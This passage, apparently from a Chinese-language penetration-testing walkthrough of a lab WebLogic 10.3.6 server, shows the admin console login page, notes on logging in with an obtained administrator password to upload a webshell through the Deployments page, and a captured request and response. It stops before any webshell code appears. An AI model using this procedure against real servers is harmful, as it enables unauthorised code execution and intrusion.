Pragma: no-cache
Content-Length: 3162
Content-Type: text/html; charset=UTF-8
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Language: en-US
X-Powered-By: Servlet/2.5 JSP/2.1
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8" >
<title>Oracle WebLogic Server Administration Console</title>
<link rel="stylesheet" type="text/css" href="/console/framework/skins/wlsconsole/css/general.css" >
<link rel="stylesheet" type="text/css" href="/console/framework/skins/wlsconsole/css/window.css" >
<link rel="stylesheet" type="text/css" href="/console/css/login.css" >
<script type="text/javascript">
// Disable frame hijacking
if (top != self) top.location.href = location.href;
</script>
<style type="text/css">
html {
background-color: #185E87;
}
</style>
</head>
<body onl oad="document.loginData.j_username.focus();">
<div id="top">
<div id="login-header">
<div id="logo">
<img src="/console/framework/skins/wlsconsole/images/Branding_Login_WeblogicConsole.gif" alt="Oracle WebLogic Server Administration Console ">
</div>
</div>
<div id="content">
<div id="sidebar">
<img src="/console/framework/skins/wlsconsole/images/Login_11gLogo1.gif" alt="">
</div>
<div id="login">
<div id="title">
Welcome
</div>
<div id="login-form">
<form id="loginData" name="loginData" method="post" action="/console/j_security_check">
<div class="message-row">
<noscript><p class="loginFailed">JavaScript is required. Enable JavaScript to use WebLogic Administration Console.</p></noscript>
<p>Log in to work with the WebLogic Server domain</p>
</div>
<div class="input-row">
<label for="j_username">
Username:</label>
<span class="ctrl">
<input class="textinput" type="text" autocomplete="on" name="j_username" id="j_username">
</span>
</div>
<div class="input-row">
<label for="j_password">
Password:</label>
<span class="ctrl">
<input class="textinput" type="password" autocomplete="on" name="j_password" id="j_password">
</span>
</div>
<div class="button-row">
<span class="ctrl">
<input class="formButton" type="submit"
onclick="form.submit();this.disabled=true;document.body.style.cursor = 'wait'; this.className='formButton-disabled';"
value='Login'>
</span>
<input type="hidden" name="j_character_encoding" value="UTF-8">
</div>
</form>
</div>
</div>
</div>
<div id="info">
</div>
</div>
<div class="login-footer">
<div class="info">
<p id="footerVersion">WebLogic Server Version: 10.3.6.0</p>
<p id="copyright">Copyright © 1996, 2011, Oracle and/or its affiliates. All rights reserved.</p>
<p id="trademark">Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners.</p>
</div>
</div>
</body>
</html>
登录成功后调整到如下地址:
http://192.168.52.128:7001/console/console.portal?_nfpb=true&_pageLabel=HomePage1
后台上传webshell
获取到管理员密码后,登录后台。点击左侧的部署,可见一个应用列表:
点击部署的数据包如下:
GET /console/console.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage HTTP/1.1
Host: 192.168.52.128:7001
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.52.128:7001/console/console.portal?_nfpb=true&_pageLabel=HomePage1
Cookie: ADMINCONSOLESESSION=KWbTgzHTnd8sQS7lyhQ1NfjvynrllJtxLZ92R2RtTW9qnvnJNfg1!-1106686951; JSESSIONID=QrzGgzJTYv0TVjxk1Vl2zmcrX4n1Gg25SDWNLvJdfJkbzrRCvK7l!-1106686951
Connection: close
HTTP/1.1 200 OK
Cache-Control: no-cache,no-store,max-age=0
Cache-Control: no-cache,no-store,max-age=0
Cache-Control: no-cache,no-store,max-age=0
Cache-Control: no-cache,no-store,max-age=0
Connection: close
Date: Mon, 22 Feb 2021 06:08:41 GMT
Pragma: No-cache
Pragma: No-cache
Pragma: No-cache
Pragma: No-cache
Content-Type: text/html; charset=UTF-8
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Language: en-US
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 43772
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html><head><meta http-equiv="Content-Script-Type" content="text/javascript"><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>Summary of Deployments - base_domain - WLS Console</title><link rel="stylesheet" type="text/css" href="/console/framework/skeletons/wlsconsole/css/layout.css"><script src="/console/framework/skeletons/wlsconsole/js/buttons.js" type="text/javascript"></script><script src="/console/framework/skeletons/wlsconsole/js/util.js" type="text/javascript"></script><link rel="stylesheet" type="text/css" href="/console/framework/skins/wlsconsole/css/general.css"><link rel="stylesheet" type="text/css" href="/console/framework/skins/wlsconsole/css/menu.css"><link rel="stylesheet" type="text/css" href="/console/framework/skins/wlsconsole/css/window.css"><link rel="stylesheet" type="text/css" href="/console/framework/skins/wlsconsole/css/console.css"><link rel="stylesheet" type="text/css" href="/console/css/content.css"><script src="/console/javascript/consoleUtil.js" type="text/javascript"></script><script src="/console/javascript/console-help.js" type="text/javascript"></script><script src="/console/javascript/recorder.js" type="text/javascript"></script><link rel="stylesheet" type="text/css" href="/console/css/changemgmt.css"><link rel="stylesheet" type="text/css" href="/console/css/forms.css"><script src="/console/javascript/changemgmt.js" type="text/javascript"></script><script src="/console/javascript/form.js" type="text/javascript"></script><script src="/console/javascript/PredicateEditor.js" type="text/javascript"></script><script src="/console/javascript/table.js" type="text/javascript"></script><script src="/console/javascript/portletrefresh.js" type="text/javascript"></script><script src="/console/javascript/ButtonMenu.js" type="text/javascript"></script><script src="/console/javascript/chooser.js" type="text/javascript"></script><link rel="stylesheet" type="text/css" href="/console/css/navtree.css"><script src="/console/javascript/tree.js" type="text/javascript"></script><link rel="stylesheet" type="text/css" href="/console/css/quicklinks.css"><link rel="stylesheet" type="text/css" href="/console/css/systemstatus.css"></head><body><div class="wlsc-header"><div id="console-header-logo"><a href="#repetitive_links"><img src="images/spacer.gif" alt="Skip repetitive links "></a><div><a href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&_pageLabel=HomePage1" title="WebLogic Server Administration Console Home"><img src="framework/skins/wlsconsole/images/Branding_WeblogicConsole.gif" id="console-title" alt="WebLogic Server Administration Console Home "></a></div></div><div id="global-links"><span id="pageStatus"><img src="framework/skins/wlsconsole/images/pageIdle.gif" id="pageIdle" title="Idle" alt="Idle"><img src="framework/skins/wlsconsole/images/pageBusy.gif" id="pageBusy" title="Busy" alt="Busy"></span></div><div id="header-trans"><img src="framework/skins/wlsconsole/images/gradient-white-none.png" alt=""></div></div><div id="Home" class="wlsc-book"><div class="wlsc-book-content"><div id="page" class="wlsc-page"><div class="wlsc-2col-layout"><div id="console-content-col"><div id="console-content-col-inner"><div id="ToolbarBook" class="none"><div class="wlsc-book-content"><div id="ToolbarPage" class="wlsc-page"><div id="portlet_toolbar" class="wlsc-window "><div class="wlsc-window-content">
<script type="text/javascript">
wls.console.pageHelpURL = null;
wls.console.pageHelpKey = 'J2EEappdeploymentscontroltabletitle';
</script>
<script type="text/javascript">
wls.console.recordState = {
contextRoot: "/console",
prompt: false,
recordingStarted: false
};
</script>
<div class="toolbar">
<div class="toolbar-menu">
<div class="tbframe">
<div class="tbframeTop"><div><div> </div></div></div>
<div id="topMenu" class="tbframeContent">
<ul>
<li class="first">
<a href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&_pageLabel=HomePage1"
title="WebLogic Server Administration Console Home">
<img src="images/home_ena.gif"
alt="WebLogic Server Administration Console Home ">
Home
</a>
</li>
<li>
<a href="/console/jsp/common/warnuserlockheld.jsp">
Log Out
</a>
</li>
<li>
<a href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&_pageLabel=UserPreferencesPageGeneral">
Preferences
</a>
</li>
<li>
<a href="#" onclick="return wls.console.startAdHocRecord('frsc','0x062430ecab863931868d682e81a64437e4490c23def60129');" id="recordLink" title="Start Recording">
<img id="recordingIcon" src="images/recording.gif"
alt="Start Recording ">
Record
</a>
</li>
<li>
<a href="#" onclick="return wls.console.launchHelp()"
title="Help - New window">
Help
</a>
</li>
</ul>
</div>
<div class="tbframeBottom"><div><div> </div></div></div>
</div>
</div>
<div id="topSearch" class="toolbar-menu">
<div class="tbframe">
<div class="tbframeTop"><div><div> </div></div></div>
<div class="tbframeContent">
<ul>
<li class="first">
<form name="mbeanSearchForm" method="POST" action="http://192.168.52.128:7001/console/console.portal?_nfpb=true&_pageLabel=MBeanSearchPage">
<label class="screenReadersOnly" for="toolbarSearchInput">Search</label>
<input type="text" id="toolbarSearchInput" name="MBeanSearchPortletsearchString" size="11" value="" class="toolbar-search">
<button type="button" class="formButton" onclick="this.form.submit();return false;" name="search" title="Search">
<span class="icon search"> </span><span style="display: none;">Search</span>
</button>
<input type="hidden" name="_nfpb" value="true">
<input type="hidden" name="MBeanSearchPortlet_actionOverride" value="/mbeansearch/DisplayResultsAction">
<input type="hidden" name="_windowLabel" value="MBeanSearchPortlet">
</form>
</li>
</ul>
</div>
<div class="tbframeBottom"><div><div> </div></div></div>
</div>
</div>
<div class="toolbar-info">
<div class="tbframe">
<div class="tbframeTop"><div><div> </div></div></div>
<div class="tbframeContent">
<div id="welcome">
<p>Welcome,
weblogic</p>
</div>
<div id="domain">
<p>Connected to:
<strong>base_domain</strong></p>
</div>
</div>
<div class="tbframeBottom"><div><div> </div></div></div>
</div>
</div>
</div>
</div></div></div></div></div><div id="LocationContextBook" class="none"><div class="wlsc-book-content"><div id="LocationContextPage" class="wlsc-page"><div id="portlet_history" class="wlsc-window "><div class="wlsc-window-content"><div class="breadcrumbs"><a href="/console/console.portal?_nfpb=true&_pageLabel=HomePage1">Home</a> ><span class="bclast">Summary of Deployments</span></div><a name="repetitive_links"><img src="images/spacer.gif" alt="End of repetitive links "></a></div></div></div></div></div><div id="WorkpaceMessagesBook" class="none"><div class="wlsc-book-content"><div id="WorkpaceMessagesPage" class="wlsc-page"><div id="portlet_messages" class="wlsc-window "><div class="wlsc-window-content"><!--messages-region-start--><div id="asyncmessages"><noscript><span class="message_ERROR">JavaScript is required. Enable JavaScript to use WebLogic Administration Console.</span></noscript></div><!--messages-region-end--></div></div></div></div></div><div id="console-content-area" class="none"><div class="wlsc-book-content"><div id="AppDeploymentsBook" class="wlsc-frame"><div class="top"><div><div> </div></div></div><div class="middle"><div class="r"><div class="c"><div class="c2"><div class="wlsc-book-content"><div class="wlsc-titlebar"><div class="float-container"><div class="wlsc-titlebar-title-panel"><h1>Summary of Deployments</h1></div><div class="wlsc-titlebar-button-panel"> </div></div></div><div id="AppDeploymentsPages" class="wlsc-page"><div id="AppDeploymentsTableBook" class="wlsc-book"><div class="wlsc-menu wlsc-menu-single"><div class="menu-wrapper"><ul><li class="wlsc-menu-active" title="Control- Tab - Selected"><div><span class="tab"><span>Control<span class='screenReadersOnly'>- Tab - Selected</span></span></span></div></li><li class="" title="Monitoring- Tab"><a href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&_pageLabel=AppDeploymentsMonitoringPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29" title="Monitoring- Tab"><span class="tab"><span>Monitoring</span></span></a></li></ul></div></div><div class="wlsc-book-content"><div id="AppDeploymentsControlPage" class="page-content"><div id="AppDeploymentsControlPortlet" class="wlsc-window "><div class="wlsc-window-content">
<div class="contenttable"><div class="introText">
<p>This page displays a list of Java EE applications and stand-alone application modules that have been installed to this domain. Installed applications and modules can be started, stopped, updated (redeployed), or deleted from the domain by first selecting the application name and using the controls on this page.</p><p>To install a new application or module for deployment to targets in this domain, click the Install button.</p>
</div>
<script type='text/javascript'>
function switchAction(actionName,formName){
wls.console.doingSubmit();
document.forms[formName].AppDeploymentsControlPortlet_actionOverride.value = actionName;
document.forms[formName].submit();
}
function switchPortlet(pageLabel,portlet,formName){
wls.console.doingSubmit();
document.forms[formName]._pageLabel.value = pageLabel;
var newName = portlet+"chosenContents";
renameCheckboxes(document.getElementById(formName),newName);
document.forms[formName].AppDeploymentsControlPortletfrsc.name= portlet+'frsc';
document.forms[formName].action=document.forms[formName].action + '?' + portlet + 'returnTo=AppDeploymentsControlPage' + '&AppDeploymentsControlPortlethandle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29';
document.forms[formName].submit();
}
function saveIf(evt){
var key = (document.all) ? window.event.keyCode : evt.keyCode;
if (key == 27){dismissEdit(); return false;}
if (key == 13){
var cell = this;
var idx = cell.id.indexOf('editor'); var eHandle = cell.id.substring(0,idx);
var idxe = cell.id.indexOf('")'); var editr = cell.id.substring(idx+8,cell.id.length-1);
var editHandle = "val("+encodeURIComponent(cell.value)+")"+eHandle;
document.forms['genericTableForm'].action='/console/console.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&AppDeploymentsControlPortlet_actionOverride=/'+ editr +'&AppDeploymentsControlPortleteditHandle='+editHandle;
return true;
}
}
</script>
<div class="advancedSeparator"><a name='advanced'></a><h3><a title='View table customization' href='http://192.168.52.128:7001/console/console.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&AppDeploymentsControlPortletadvanced=false#advanced'><img alt='Expand ' src='/console/images/advancedclosed.gif'> Customize this table</a></h3></div><form id="genericTableForm" name="genericTableForm" action='http://192.168.52.128:7001/console/console.portal' method='POST'><div class='tabletitle'>Deployments</div><div class='tablectrl'><table class='tablebuttonbar' summary=''><tr><td class='tablecontrols'><div class="buttonBar">
<button type='button' onclick='disableButtons();self.location.href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&_pageLabel=AppApplicationInstallPage";return false;' name='Install' class="formButton">Install</button> 
<button type='button' onclick='disableButtons();switchPortlet("AppApplicationUpdatePage","AppApplicationUpdatePortlet","genericTableForm");return false;' name='Update' class="formButton">Update</button> <script type='text/javascript'>addTableButtonDependency(exactlyOneSelected,"Update");</script>
<button type='button' onclick='disableButtons();switchPortlet("AppApplicationUninstallPage","AppApplicationUninstallPortlet","genericTableForm");return false;' name='Delete' class="formButton">Delete</button> <script type='text/javascript'>addTableButtonDependency(atLeastOneSelected,"Delete");</script>
<img src='images/buttonSeparator.gif' alt=''/>
<button type='button' onclick='return showMenu(this,event);return false;' name='Start' class="formMenuButton">Start<span> </span></button> <div class='button-menu-outer'><div class='menudstr'></div><div class='menudsbl'><div class='menuds'><ul class='button-menu'>
<li onm ouseout='buttonMenuMouseOut(this);' onm ouseover='buttonMenuMouseOver(this);' onclick='disableButtons();switchPortlet("AppControlStartPage","AppControlStartPortlet","genericTableForm");return false;'><a href="#">Servicing all requests</a></li>
<li onm ouseout='buttonMenuMouseOut(this);' onm ouseover='buttonMenuMouseOver(this);' onclick='disableButtons();switchPortlet("AppControlAdminPage","AppControlAdminPortlet","genericTableForm");return false;'><a href="#">Servicing only administration requests</a></li>
</ul></div></div></div><script type='text/javascript'>addTableButtonDependency(atLeastOneSelected,"Start");</script>
<button type='button' onclick='return showMenu(this,event);return false;' name='Stop' class="formMenuButton">Stop<span> </span></button> <div class='button-menu-outer'><div class='menudstr'></div><div class='menudsbl'><div class='menuds'><ul class='button-menu'>
<li onm ouseout='buttonMenuMouseOut(this);' onm ouseover='buttonMenuMouseOver(this);' onclick='disableButtons();switchPortlet("AppControlStopPage","AppControlStopPortlet","genericTableForm");return false;'><a href="#">When work completes</a></li>
<li onm ouseout='buttonMenuMouseOut(this);' onm ouseover='buttonMenuMouseOver(this);' onclick='disableButtons();switchPortlet("AppControlForceStopPage","AppControlForceStopPortlet","genericTableForm");return false;'><a href="#">Force Stop Now</a></li>
<li onm ouseout='buttonMenuMouseOut(this);' onm ouseover='buttonMenuMouseOver(this);' onclick='disableButtons();switchPortlet("AppControlAdminPage","AppControlAdminPortlet","genericTableForm");return false;'><a href="#">Stop, but continue servicing administration requests</a></li>
</ul></div></div></div><script type='text/javascript'>addTableButtonDependency(atLeastOneSelected,"Stop");</script>
</div></td><td class='tablenavigation'>Showing 1 to 1 of 1 Previous<img src='/console/images/buttonSeparator.gif' alt=''> Next</td></tr></table><table class='datatable' id='genericTableFormtable' summary='Deployments'><colgroup><col class="checkboxColumn"></colgroup><tr><th scope='col'><input type="checkbox" name="all" class='radioAndCheckbox' onclick="checkAll(this, this.form);" title="Click to select all rows" ></th><th scope='col' title='Sort table by Name'><a href='?_nfpb=true&_pageLabel=AppDeploymentsControlPage&AppDeploymentsControlPortletsortby=name&AppDeploymentsControlPortletsortdir=1'>Name<span class="nobr"> <img src='/console/images/sort_up.gif' alt='Sorted Ascending '></span></a></th><th scope='col' title='Sort table by State'><a href='?_nfpb=true&_pageLabel=AppDeploymentsControlPage&AppDeploymentsControlPortletsortby=state'>State<span class="nobr"> </span></a></th><th scope='col' title='Sort table by Health'><a href='?_nfpb=true&_pageLabel=AppDeploymentsControlPage&AppDeploymentsControlPortletsortby=health'>Health<span class="nobr"> </span></a></th><th scope='col' title='Sort table by Type'><a href='?_nfpb=true&_pageLabel=AppDeploymentsControlPage&AppDeploymentsControlPortletsortby=type'>Type<span class="nobr"> </span></a></th><th scope='col' title='Sort table by Deployment Order'><a href='?_nfpb=true&_pageLabel=AppDeploymentsControlPage&AppDeploymentsControlPortletsortby=deploymentOrder'>Deployment Order<span class="nobr"> </span></a></th></tr><tr class='rowEven'><td><input id="AppDeploymentsControlPortletchosenContents" onclick="unCheck(this, this.form);" type="checkbox" name="AppDeploymentsControlPortletchosenContents" title="Select _appsdir_hello_war (autodeployed)" class='radioAndCheckbox' value='com.bea.console.handles.AppDeploymentHandle%28%22com.bea%3AName%3D_appsdir_hello_war%2CType%3DAppDeployment%22%29'></td><td id='name1' width='50%' ><img src="images/spacer.gif" alt="" style="height:1px;" width="0" border="0"><a href='/console/console.portal?_pageLabel=AppDeploymentsControlPage&_nfpb=true&AppDeploymentsControlPortletexpandNode=ROOTCHILDNODE1'><img src='images/leafclosed.gif' border='0' height='16' width='16' alt='_appsdir_hello_war (autodeployed) Expand Node ' title='_appsdir_hello_war (autodeployed) Expand Node '></a><img align='middle' src='/console/images/deployment/war.gif' alt='Web Application '><a href='http://192.168.52.128:7001/console/console.portal?_nfpb=true&_pageLabel=AppApplicationDispatcherPage&AppApplicationDispatcherPortlethandle=com.bea.console.handles.AppDeploymentHandle%28%22com.bea%3AName%3D_appsdir_hello_war%2CType%3DAppDeployment%22%29' title='_appsdir_hello_war (autodeployed), Level 1, Collapsed, 1 of 1' >_appsdir_hello_war (autodeployed)</a></td><td id='state1'><img src="images/spacer.gif" alt="" style="height:1px;" width="0" border="0"><a href='http://192.168.52.128:7001/console/console.portal?_nfpb=true&_pageLabel=AppDeploymentStatusPage&AppDeploymentStatusPortlethandle=com.bea.console.handles.AppDeploymentHandle%28%22com.bea%3AName%3D_appsdir_hello_war%2CType%3DAppDeployment%22%29'>Active</a></td><td id='health1'><img src="images/spacer.gif" alt="" style="height:1px;" width="0" border="0"><img src="images/checkmark_status.gif" alt=""> OK</td><td id='type1'><img src="images/spacer.gif" alt="" style="height:1px;" width="0" border="0">Web Application</td><td id='deploymentOrder1'><img src="images/spacer.gif" alt="" style="height:1px;" width="0" border="0">100</td></tr></table><table class='tablebuttonbar' summary=''><tr><td class='tablecontrols'><div class="buttonBar">
<button type='button' onclick='disableButtons();self.location.href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&_pageLabel=AppApplicationInstallPage";return false;' name='Install' class="formButton">Install</button> 
<button type='button' onclick='disableButtons();switchPortlet("AppApplicationUpdatePage","AppApplicationUpdatePortlet","genericTableForm");return false;' name='Update' class="formButton">Update</button> <script type='text/javascript'>addTableButtonDependency(exactlyOneSelected,"Update");</script>
<button type='button' onclick='disableButtons();switchPortlet("AppApplicationUninstallPage","AppApplicationUninstallPortlet","genericTableForm");return false;' name='Delete' class="formButton">Delete</button> <script type='text/javascript'>addTableButtonDependency(atLeastOneSelected,"Delete");</script>
<img src='images/buttonSeparator.gif' alt=''/>
<button type='button' onclick='return showMenu(this,event);return false;' name='Start' class="formMenuButton">Start<span> </span></button> <div class='button-menu-outer'><div class='menudstr'></div><div class='menudsbl'><div class='menuds'><ul class='button-menu'>
<li onm ouseout='buttonMenuMouseOut(this);' onm ouseover='buttonMenuMouseOver(this);' onclick='disableButtons();switchPortlet("AppControlStartPage","AppControlStartPortlet","genericTableForm");return false;'><a href="#">Servicing all requests</a></li>
<li onm ouseout='buttonMenuMouseOut(this);' onm ouseover='buttonMenuMouseOver(this);' onclick='disableButtons();switchPortlet("AppControlAdminPage","AppControlAdminPortlet","genericTableForm");return false;'><a href="#">Servicing only administration requests</a></li>
</ul></div></div></div><script type='text/javascript'>addTableButtonDependency(atLeastOneSelected,"Start");</script>
<button type='button' onclick='return showMenu(this,event);return false;' name='Stop' class="formMenuButton">Stop<span> </span></button> <div class='button-menu-outer'><div class='menudstr'></div><div class='menudsbl'><div class='menuds'><ul class='button-menu'>
<li onm ouseout='buttonMenuMouseOut(this);' onm ouseover='buttonMenuMouseOver(this);' onclick='disableButtons();switchPortlet("AppControlStopPage","AppControlStopPortlet","genericTableForm");return false;'><a href="#">When work completes</a></li>
<li onm ouseout='buttonMenuMouseOut(this);' onm ouseover='buttonMenuMouseOver(this);' onclick='disableButtons();switchPortlet("AppControlForceStopPage","AppControlForceStopPortlet","genericTableForm");return false;'><a href="#">Force Stop Now</a></li>
<li onm ouseout='buttonMenuMouseOut(this);' onm ouseover='buttonMenuMouseOver(this);' onclick='disableButtons();switchPortlet("AppControlAdminPage","AppControlAdminPortlet","genericTableForm");return false;'><a href="#">Stop, but continue servicing administration requests</a></li>
</ul></div></div></div><script type='text/javascript'>addTableButtonDependency(atLeastOneSelected,"Stop");</script>
</div></td><td class='tablenavigation'>Showing 1 to 1 of 1 Previous<img src='/console/images/buttonSeparator.gif' alt=''> Next</td></tr></table></div><input type="hidden" name="_pageLabel" value="AppDeploymentsControlPage"><input type="hidden" name="_nfpb" value="true"><input type="hidden" name="AppDeploymentsControlPortletfrsc" id="AppDeploymentsControlPortletfrsc" value="0x062430ecab863931868d682e81a64437e4490c23def60129"></form><script type='text/javascript'>initializeTableControls(document.genericTableForm); </script>
</div></div></div></div></div></div></div></div></div></div></div></div><div class="bottom"><div><div> </div></div></div></div></div></div></div></div><div id="console-nav-col"><div id="ChangeManagerBook" class="none"><div class="wlsc-book-content"><div id="ChangeManagerPage" class="wlsc-page"><div id="ChangeManagerPortlet" class="wlsc-frame"><div class="top"><div><div> </div></div></div><div class="middle"><div class="r"><div class="c"><div class="c2"><div class="wlsc-titlebar"><div class="float-container"><div class="wlsc-titlebar-title-panel"><h2>Change Center</h2></div><div class="wlsc-titlebar-button-panel"> </div></div></div><div class="wlsc-window-content">
<p class="changelink"><a href='http://192.168.52.128:7001/console/console.portal?_nfpb=true&_pageLabel=ChangeManagementPage'>
View changes and restarts</a></p>
<p class="changeliststatus">
Configuration editing is enabled. Future changes will automatically be activated as you modify, add or delete items in this domain.
</p>
<form name="changecenterform" action="/console/console.portal" method="POST"><div>
<input type="hidden" name="ChangeManagerPortlet_actionOverride">
<input type="hidden" name="changeCenter" value="ChangeCenterClicked">
<input type="hidden" name="_nfpb" value="true">
<input type="hidden" name="_pageLabel" value="HomeReserved">
<input type="hidden" name="ChangeManagerPortletreturnTo" value="">
<input type="hidden" name="ChangeManagerPortletfrsc" value="0x062430ecab863931868d682e81a64437e4490c23def60129">
</div></form>
</div></div></div></div></div><div class="bottom"><div><div> </div></div></div></div></div></div></div><div id="NavigationBook" class="none"><div class="wlsc-book-content"><div id="NavigationPage" class="wlsc-page"><div id="NavTree" class="wlsc-frame"><div class="top"><div><div> </div></div></div><div class="middle"><div class="r"><div class="c"><div class="c2"><div class="wlsc-titlebar"><div class="float-container"><div class="wlsc-titlebar-title-panel"><h2>Domain Structure</h2></div><div class="wlsc-titlebar-button-panel"> </div></div></div><div class="wlsc-window-content">
<div class="nav-tree-container">
<script src='javascript/treestate.js' type='text/javascript'>//</script>
<script type='text/javascript'> if (req != null) isLocal = true;
var tNodes=""; </script>
<script type="text/javascript">
document.write('<div class="JSTree">');
setBaseDirectory('utils/JStree/images/');
setTaxonomyDelimeter('.');
{
_a = new TreeNode('DomainConfigGeneralPage', null, 'base_domain', '/console/console.portal?_nfpb=true&_pageLabel=DomainConfigGeneralPage&DomainConfigGeneralPortlethandle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29', 'images/spacer.gif', 'images/spacer.gif', null, 'base_domain', false, true);
_aa = new TreeNode('EnvironmentsSummaryPage',_a, 'Environment', '/console/console.portal?_nfpb=true&_pageLabel=EnvironmentsSummaryPage', 'images/spacer.gif', 'images/spacer.gif', null, 'Environment', false, true);
_aaa = new TreeNode('CoreServerServerTablePage',_aa, 'Servers', '/console/console.portal?_nfpb=true&_pageLabel=CoreServerServerTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Servers', false, false);
_aaa = new TreeNode('CoreClusterClusterTablePage',_aa, 'Clusters', '/console/console.portal?_nfpb=true&_pageLabel=CoreClusterClusterTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Clusters', false, false);
_aaa = new TreeNode('CoreVirtualHostVirtualHostTablePage',_aa, 'Virtual Hosts', '/console/console.portal?_nfpb=true&_pageLabel=CoreVirtualHostVirtualHostTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Virtual Hosts', false, false);
_aaa = new TreeNode('MigratableTargetsConfigTablePage',_aa, 'Migratable Targets', '/console/console.portal?_nfpb=true&_pageLabel=MigratableTargetsConfigTablePage&MigratableTargetsConfigTablePortlethandle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29', 'images/spacer.gif', 'images/spacer.gif', null, 'Migratable Targets', false, false);
_aaa = new TreeNode('CoherenceServersConfigPage',_aa, 'Coherence Servers', '/console/console.portal?_nfpb=true&_pageLabel=CoherenceServersConfigPage', 'images/spacer.gif', 'images/spacer.gif', null, 'Coherence Servers', false, false);
_aaa = new TreeNode('CoherenceGlobalCoherenceClustersPage',_aa, 'Coherence Clusters', '/console/console.portal?_nfpb=true&_pageLabel=CoherenceGlobalCoherenceClustersPage', 'images/spacer.gif', 'images/spacer.gif', null, 'Coherence Clusters', false, false);
_aaa = new TreeNode('CoreMachineMachineTablePage',_aa, 'Machines', '/console/console.portal?_nfpb=true&_pageLabel=CoreMachineMachineTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Machines', false, false);
_aaa = new TreeNode('CoreWorkManagerTable',_aa, 'Work Managers', '/console/console.portal?_nfpb=true&_pageLabel=CoreWorkManagerTable', 'images/spacer.gif', 'images/spacer.gif', null, 'Work Managers', false, false);
_aaa = new TreeNode('CoreClassesClassDeploymentTablePage',_aa, 'Startup and Shutdown Classes', '/console/console.portal?_nfpb=true&_pageLabel=CoreClassesClassDeploymentTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Startup and Shutdown Classes', false, false);
_aa = new TreeNode('AppDeploymentsControlPage',_a, 'Deployments', '/console/console.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage', 'images/spacer.gif', 'images/spacer.gif', null, 'Deployments', false, false);
_aa = new TreeNode('ServicesSummaryPage',_a, 'Services', '/console/console.portal?_nfpb=true&_pageLabel=ServicesSummaryPage', 'images/spacer.gif', 'images/spacer.gif', null, 'Services', false, true);
_aaa = new TreeNode('ServicesJmsSummaryPage',_aa, 'Messaging', '/console/console.portal?_nfpb=true&_pageLabel=ServicesJmsSummaryPage', 'images/spacer.gif', 'images/spacer.gif', null, 'Messaging', false, true);
_aaaa = new TreeNode('JmsServerJMSServerTablePage',_aaa, 'JMS Servers', '/console/console.portal?_nfpb=true&_pageLabel=JmsServerJMSServerTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'JMS Servers', false, false);
_aaaa = new TreeNode('JmsSAFAgentSAFAgentTablePage',_aaa, 'Store-and-Forward Agents', '/console/console.portal?_nfpb=true&_pageLabel=JmsSAFAgentSAFAgentTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Store-and-Forward Agents', false, false);
_aaaa = new TreeNode('JmsModulesTablePage',_aaa, 'JMS Modules', '/console/console.portal?_nfpb=true&_pageLabel=JmsModulesTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'JMS Modules', false, false);
_aaaa = new TreeNode('PathServiceTablePage',_aaa, 'Path Services', '/console/console.portal?_nfpb=true&_pageLabel=PathServiceTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Path Services', false, false);
_aaaa = new TreeNode('BridgeMessagingBridgeTablePage',_aaa, 'Bridges', '/console/console.portal?_nfpb=true&_pageLabel=BridgeMessagingBridgeTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Bridges', false, true);
_aaaaa = new TreeNode('JmsBridgedestinationJMSBridgeDestinationTablePage',_aaaa, 'JMS Bridge Destinations', '/console/console.portal?_nfpb=true&_pageLabel=JmsBridgedestinationJMSBridgeDestinationTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'JMS Bridge Destinations', false, false);
_aaa = new TreeNode('GlobalJDBCDataSourceTablePage',_aa, 'Data Sources', '/console/console.portal?_nfpb=true&_pageLabel=GlobalJDBCDataSourceTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Data Sources', false, false);
_aaa = new TreeNode('JmsStoresJMSStoreTablePage',_aa, 'Persistent Stores', '/console/console.portal?_nfpb=true&_pageLabel=JmsStoresJMSStoreTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Persistent Stores', false, false);
_aaa = new TreeNode('ForeignJNDIProviderTablePage',_aa, 'Foreign JNDI Providers', '/console/console.portal?_nfpb=true&_pageLabel=ForeignJNDIProviderTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Foreign JNDI Providers', false, false);
